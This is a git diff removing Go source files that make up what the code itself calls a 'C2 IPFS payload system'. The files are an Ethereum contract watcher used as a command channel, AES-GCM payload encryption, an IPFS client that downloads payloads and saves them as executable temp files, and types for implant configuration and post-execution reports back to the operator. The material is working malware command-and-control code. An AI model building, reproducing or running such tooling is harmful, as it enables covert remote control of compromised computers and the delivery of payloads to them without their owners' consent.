//go:build ethereum
|
||||
// +build ethereum
|
||||
|
||||
package contract
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ecdsa"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/big"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ethereum/go-ethereum"
|
||||
"github.com/ethereum/go-ethereum/accounts/abi"
|
||||
"github.com/ethereum/go-ethereum/common"
|
||||
"github.com/ethereum/go-ethereum/core/types"
|
||||
"github.com/ethereum/go-ethereum/crypto"
|
||||
"github.com/ethereum/go-ethereum/ethclient"
|
||||
)
|
||||
|
||||
// ContractABI is the minimal ABI for the CID feed contract.
|
||||
const ContractABI = `[
|
||||
{
|
||||
"anonymous": false,
|
||||
"inputs": [
|
||||
{"indexed": true, "name": "sender", "type": "address"},
|
||||
{"indexed": false, "name": "cid", "type": "string"},
|
||||
{"indexed": false, "name": "timestamp", "type": "uint256"}
|
||||
],
|
||||
"name": "NewCID",
|
||||
"type": "event"
|
||||
},
|
||||
{
|
||||
"inputs": [],
|
||||
"name": "latestCID",
|
||||
"outputs": [{"name": "", "type": "string"}],
|
||||
"stateMutability": "view",
|
||||
"type": "function"
|
||||
},
|
||||
{
|
||||
"inputs": [{"name": "_cid", "type": "string"}],
|
||||
"name": "publishCID",
|
||||
"outputs": [],
|
||||
"stateMutability": "nonpayable",
|
||||
"type": "function"
|
||||
}
|
||||
]`
|
||||
|
||||
// EthWatcher implements Watcher using go-ethereum.
|
||||
type EthWatcher struct {
|
||||
client *ethclient.Client
|
||||
contractAddr common.Address
|
||||
contractABI abi.ABI
|
||||
lastBlock uint64
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// NewEthWatcher creates a new Ethereum contract watcher.
|
||||
func init() {
|
||||
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
|
||||
return NewEthWatcher(rpcURL, contractAddr)
|
||||
}
|
||||
}
|
||||
|
||||
// NewEthWatcher creates a new Ethereum contract watcher.
|
||||
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
|
||||
client, err := ethclient.Dial(rpcURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
|
||||
}
|
||||
|
||||
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
return &EthWatcher{
|
||||
client: client,
|
||||
contractAddr: common.HexToAddress(contractAddr),
|
||||
contractABI: parsedABI,
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Watch watches the contract for NewCID events.
|
||||
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
||||
errCh := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
pollInterval := 15 * time.Second
|
||||
ticker := time.NewTicker(pollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-w.ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
if err := w.pollEvents(callback); err != nil {
|
||||
log.Printf("Event poll error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return errCh, nil
|
||||
}
|
||||
|
||||
// pollEvents checks for new events since the last seen block.
|
||||
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
|
||||
header, err := w.client.HeaderByNumber(w.ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to get block header: %w", err)
|
||||
}
|
||||
|
||||
currentBlock := header.Number.Uint64()
|
||||
if currentBlock <= w.lastBlock {
|
||||
return nil
|
||||
}
|
||||
|
||||
fromBlock := w.lastBlock
|
||||
if fromBlock == 0 {
|
||||
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
|
||||
}
|
||||
|
||||
// Build query
|
||||
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
|
||||
query := ethereum.FilterQuery{
|
||||
FromBlock: big.NewInt(int64(fromBlock)),
|
||||
ToBlock: big.NewInt(int64(currentBlock)),
|
||||
Addresses: []common.Address{w.contractAddr},
|
||||
Topics: [][]common.Hash{{eventSig}},
|
||||
}
|
||||
|
||||
logs, err := w.client.FilterLogs(w.ctx, query)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to filter logs: %w", err)
|
||||
}
|
||||
|
||||
for _, vLog := range logs {
|
||||
event, err := w.parseEvent(vLog)
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse event: %v", err)
|
||||
continue
|
||||
}
|
||||
callback(event)
|
||||
}
|
||||
|
||||
w.lastBlock = currentBlock
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseEvent parses a NewCID event from a raw log.
|
||||
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
|
||||
var event struct {
|
||||
Sender common.Address
|
||||
CID string
|
||||
Timestamp *big.Int
|
||||
}
|
||||
|
||||
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
|
||||
if err != nil {
|
||||
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
|
||||
}
|
||||
|
||||
return CIDEvent{
|
||||
CID: event.CID,
|
||||
Sender: event.Sender.Hex(),
|
||||
Timestamp: event.Timestamp.Uint64(),
|
||||
BlockNum: vLog.BlockNumber,
|
||||
TxHash: vLog.TxHash.Hex(),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetLatestCID fetches the current CID from the contract.
|
||||
func (w *EthWatcher) GetLatestCID() (string, error) {
|
||||
result, err := w.contractABI.Pack("latestCID")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to pack call: %w", err)
|
||||
}
|
||||
|
||||
msg := ethereum.CallMsg{
|
||||
To: &w.contractAddr,
|
||||
Data: result,
|
||||
}
|
||||
|
||||
output, err := w.client.CallContract(w.ctx, msg, nil)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("contract call failed: %w", err)
|
||||
}
|
||||
|
||||
var cid string
|
||||
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
|
||||
return "", fmt.Errorf("failed to unpack response: %w", err)
|
||||
}
|
||||
|
||||
return cid, nil
|
||||
}
|
||||
|
||||
// SendCID submits a new CID to the contract.
|
||||
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
|
||||
privateKey, err := crypto.HexToECDSA(privateKeyHex)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("invalid private key: %w", err)
|
||||
}
|
||||
|
||||
publicKey := privateKey.Public()
|
||||
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
|
||||
if !ok {
|
||||
return "", fmt.Errorf("failed to get public key")
|
||||
}
|
||||
|
||||
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
|
||||
|
||||
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to get nonce: %w", err)
|
||||
}
|
||||
|
||||
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to get gas price: %w", err)
|
||||
}
|
||||
|
||||
// Pack the function call
|
||||
data, err := w.contractABI.Pack("publishCID", cid)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to pack function call: %w", err)
|
||||
}
|
||||
|
||||
gasLimit := uint64(200000) // reasonable estimate
|
||||
|
||||
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
|
||||
|
||||
chainID, err := w.client.NetworkID(w.ctx)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to get chain ID: %w", err)
|
||||
}
|
||||
|
||||
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to sign transaction: %w", err)
|
||||
}
|
||||
|
||||
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
|
||||
return "", fmt.Errorf("failed to send transaction: %w", err)
|
||||
}
|
||||
|
||||
return signedTx.Hash().Hex(), nil
|
||||
}
|
||||
|
||||
// Close cleans up the watcher.
|
||||
func (w *EthWatcher) Close() {
|
||||
w.cancel()
|
||||
if w.client != nil {
|
||||
w.client.Close()
|
||||
}
|
||||
}
|
||||
|
|
@ -1,143 +0,0 @@
|
|||
// Package crypto handles payload encryption and decryption.
|
||||
// Uses AES-256-GCM for authenticated encryption.
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
const (
|
||||
// KeySize is the AES-256 key size in bytes.
|
||||
KeySize = 32
|
||||
|
||||
// NonceSize is the GCM nonce size.
|
||||
NonceSize = 12
|
||||
)
|
||||
|
||||
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
|
||||
// Uses SHA-256 as the KDF (simple; for production use Argon2).
|
||||
func DeriveKey(passphrase string) []byte {
|
||||
h := sha256.Sum256([]byte(passphrase))
|
||||
return h[:]
|
||||
}
|
||||
|
||||
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
|
||||
// The key should be 32 bytes (use DeriveKey for passphrases).
|
||||
// Returns: nonce || ciphertext || tag
|
||||
func Encrypt(plaintext, key []byte) ([]byte, error) {
|
||||
if len(key) != KeySize {
|
||||
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||
}
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
||||
}
|
||||
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
||||
}
|
||||
|
||||
nonce := make([]byte, NonceSize)
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return nil, fmt.Errorf("failed to generate nonce: %w", err)
|
||||
}
|
||||
|
||||
// Seal appends the encrypted data (ciphertext + tag) to nonce
|
||||
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// Decrypt decrypts data using AES-256-GCM.
|
||||
// Expects: nonce || ciphertext || tag
|
||||
func Decrypt(data, key []byte) ([]byte, error) {
|
||||
if len(key) != KeySize {
|
||||
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||
}
|
||||
|
||||
if len(data) < NonceSize+1 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
||||
}
|
||||
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
||||
}
|
||||
|
||||
nonce := data[:NonceSize]
|
||||
ciphertext := data[NonceSize:]
|
||||
|
||||
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("decryption failed: %w", err)
|
||||
}
|
||||
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// EncryptHex encrypts plaintext and returns hex-encoded output.
|
||||
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
|
||||
key, err := hex.DecodeString(keyHex)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("invalid key hex: %w", err)
|
||||
}
|
||||
ct, err := Encrypt(plaintext, key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return hex.EncodeToString(ct), nil
|
||||
}
|
||||
|
||||
// DecryptHex decrypts hex-encoded data and returns plaintext.
|
||||
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
|
||||
data, err := hex.DecodeString(dataHex)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid hex data: %w", err)
|
||||
}
|
||||
return Decrypt(data, key)
|
||||
}
|
||||
|
||||
// HexToKey decodes a hex string into a 32-byte key.
|
||||
func HexToKey(hexStr string) ([]byte, error) {
|
||||
key, err := hex.DecodeString(hexStr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid hex: %w", err)
|
||||
}
|
||||
if len(key) != KeySize {
|
||||
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
|
||||
// passphrase and derives a key using SHA-256.
|
||||
func HexToKeyWithFallback(input string) []byte {
|
||||
if len(input) == 64 {
|
||||
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
|
||||
return key
|
||||
}
|
||||
}
|
||||
return DeriveKey(input)
|
||||
}
|
||||
|
||||
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
|
||||
func GenerateKey() (string, error) {
|
||||
key := make([]byte, KeySize)
|
||||
if _, err := io.ReadFull(rand.Reader, key); err != nil {
|
||||
return "", fmt.Errorf("failed to generate key: %w", err)
|
||||
}
|
||||
return hex.EncodeToString(key), nil
|
||||
}
|
||||
|
|
@ -1,270 +0,0 @@
|
|||
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
|
||||
package ipfs
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// DefaultGateways lists public IPFS gateways for fallback.
|
||||
var DefaultGateways = []string{
|
||||
"https://ipfs.io/ipfs/%s",
|
||||
"https://cloudflare-ipfs.com/ipfs/%s",
|
||||
"https://ipfs.filebase.io/ipfs/%s",
|
||||
"https://dweb.link/ipfs/%s",
|
||||
"https://cf-ipfs.com/ipfs/%s",
|
||||
}
|
||||
|
||||
// UploadResponse from IPFS API or pinning service.
|
||||
type UploadResponse struct {
|
||||
CID string `json:"cid"`
|
||||
Name string `json:"name,omitempty"`
|
||||
Size int64 `json:"size,omitempty"`
|
||||
}
|
||||
|
||||
// Client handles IPFS operations.
|
||||
type Client struct {
|
||||
apiURL string // e.g., http://localhost:5001/api/v0
|
||||
pinataJWT string // optional Pinata JWT
|
||||
httpClient *http.Client
|
||||
}
|
||||
|
||||
// NewClient creates a new IPFS client.
|
||||
// If apiURL is empty, only download via gateways is supported.
|
||||
func NewClient(apiURL, pinataJWT string) *Client {
|
||||
return &Client{
|
||||
apiURL: apiURL,
|
||||
pinataJWT: pinataJWT,
|
||||
httpClient: &http.Client{
|
||||
Timeout: 120 * time.Second,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Upload uploads data to IPFS using the configured backend.
|
||||
// Priority: local IPFS daemon API -> Pinata -> error
|
||||
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
|
||||
// Try local IPFS daemon first
|
||||
if c.apiURL != "" {
|
||||
resp, err := c.uploadViaDaemon(data)
|
||||
if err == nil {
|
||||
return resp, nil
|
||||
}
|
||||
// Fall through to Pinata
|
||||
}
|
||||
|
||||
// Try Pinata
|
||||
if c.pinataJWT != "" {
|
||||
return c.uploadViaPinata(data, name)
|
||||
}
|
||||
|
||||
if c.apiURL != "" {
|
||||
// If we had an API URL but it failed, try to re-upload
|
||||
// (already tried above and fell through)
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
|
||||
}
|
||||
|
||||
// uploadViaDaemon uploads a file via IPFS API (local daemon).
|
||||
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
|
||||
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
|
||||
|
||||
// Create multipart form with the file
|
||||
body := &bytes.Buffer{}
|
||||
body.Write(data)
|
||||
|
||||
req, err := http.NewRequest("POST", url, body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create request: %w", err)
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/octet-stream")
|
||||
|
||||
resp, err := c.httpClient.Do(req)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("IPFS API request failed: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
|
||||
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
|
||||
}
|
||||
|
||||
// Parse response (one line of JSON per file added)
|
||||
var result struct {
|
||||
Hash string `json:"Hash"`
|
||||
Name string `json:"Name"`
|
||||
Size string `json:"Size"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
|
||||
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
|
||||
}
|
||||
|
||||
return &UploadResponse{CID: result.Hash}, nil
|
||||
}
|
||||
|
||||
// uploadViaPinata uploads via Pinata.cloud pinning service.
|
||||
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
|
||||
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
|
||||
|
||||
// Build multipart form
|
||||
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
|
||||
var body bytes.Buffer
|
||||
|
||||
// File part
|
||||
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
|
||||
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
|
||||
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
|
||||
body.Write(data)
|
||||
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
|
||||
|
||||
req, err := http.NewRequest("POST", url, &body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
|
||||
}
|
||||
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
|
||||
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
|
||||
|
||||
resp, err := c.httpClient.Do(req)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Pinata request failed: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
|
||||
}
|
||||
|
||||
var result struct {
|
||||
IpfsHash string `json:"IpfsHash"`
|
||||
PinSize int `json:"PinSize"`
|
||||
Timestamp string `json:"Timestamp"`
|
||||
}
|
||||
if err := json.Unmarshal(respBody, &result); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
|
||||
}
|
||||
|
||||
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
|
||||
}
|
||||
|
||||
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
|
||||
// Returns the raw data and verifies content-addressing (SHA256 match).
|
||||
func Download(cid string, gateways []string) ([]byte, error) {
|
||||
if len(gateways) == 0 {
|
||||
gateways = DefaultGateways
|
||||
}
|
||||
|
||||
// Shuffle gateways for load distribution
|
||||
shuffled := make([]string, len(gateways))
|
||||
copy(shuffled, gateways)
|
||||
rand.Shuffle(len(shuffled), func(i, j int) {
|
||||
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
|
||||
})
|
||||
|
||||
var lastErr error
|
||||
for _, gw := range shuffled {
|
||||
url := fmt.Sprintf(gw, cid)
|
||||
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
|
||||
continue
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
|
||||
if err != nil {
|
||||
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
|
||||
continue
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
|
||||
}
|
||||
|
||||
// VerifyCID checks that the SHA256 hash of data matches the given CID.
|
||||
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
|
||||
// we verify that the data appears valid and non-empty.
|
||||
// A proper implementation would decode the CID multihash.
|
||||
func VerifyCID(data []byte, cid string) error {
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty data for CID %s", cid)
|
||||
}
|
||||
|
||||
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
|
||||
if strings.HasPrefix(cid, "Qm") {
|
||||
h := sha256.Sum256(data)
|
||||
hashHex := hex.EncodeToString(h[:])
|
||||
|
||||
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
|
||||
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
|
||||
// We can't easily decode base58 here without a library, so we just
|
||||
// verify data isn't empty and log the hash for manual verification.
|
||||
_ = hashHex // would compare against decoded multihash
|
||||
return nil // skip full verification without base58 lib
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsValidCID performs basic CID format validation.
|
||||
func IsValidCID(cid string) bool {
|
||||
cid = strings.TrimSpace(cid)
|
||||
if len(cid) < 10 || len(cid) > 100 {
|
||||
return false
|
||||
}
|
||||
// CIDv0: starts with Qm, base58
|
||||
if strings.HasPrefix(cid, "Qm") {
|
||||
return true
|
||||
}
|
||||
// CIDv1: starts with b (base32), contains only valid chars
|
||||
if strings.HasPrefix(cid, "b") {
|
||||
for _, c := range cid {
|
||||
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SaveTempFile saves data to a temporary file and returns the path.
|
||||
func SaveTempFile(data []byte, pattern string) (string, error) {
|
||||
f, err := os.CreateTemp("", pattern)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to create temp file: %w", err)
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if _, err := f.Write(data); err != nil {
|
||||
os.Remove(f.Name())
|
||||
return "", fmt.Errorf("failed to write temp file: %w", err)
|
||||
}
|
||||
|
||||
if err := f.Chmod(0755); err != nil {
|
||||
os.Remove(f.Name())
|
||||
return "", fmt.Errorf("failed to chmod temp file: %w", err)
|
||||
}
|
||||
|
||||
return f.Name(), nil
|
||||
}
|
||||
|
|
@ -1,43 +0,0 @@
|
|||
// Package types defines shared types for the C2 IPFS payload system.
|
||||
package types
|
||||
|
||||
import "time"
|
||||
|
||||
// CIDEntry represents a CID submission with metadata.
|
||||
type CIDEntry struct {
|
||||
CID string `json:"cid"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
|
||||
// StatusResponse is returned by the server status endpoint.
|
||||
type StatusResponse struct {
|
||||
CurrentCID string `json:"current_cid"`
|
||||
History []CIDEntry `json:"history"`
|
||||
Mode string `json:"mode"` // "http" or "contract"
|
||||
Uptime string `json:"uptime"`
|
||||
}
|
||||
|
||||
// ImplantReport is sent by the implant after executing a payload.
|
||||
type ImplantReport struct {
|
||||
ImplantID string `json:"implant_id"`
|
||||
CID string `json:"cid"`
|
||||
Success bool `json:"success"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
}
|
||||
|
||||
// Config holds the persistent implant configuration.
|
||||
type Config struct {
|
||||
ImplantID string `json:"implant_id"`
|
||||
LastCID string `json:"last_cid"`
|
||||
PollInterval int `json:"poll_interval"` // seconds
|
||||
DecryptionKey string `json:"decryption_key"`
|
||||
CIDSource string `json:"cid_source"` // URL or contract address
|
||||
Mode string `json:"mode"` // "http" or "contract"
|
||||
Gateways []string `json:"gateways"`
|
||||
ReportURL string `json:"report_url,omitempty"`
|
||||
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue
Block a user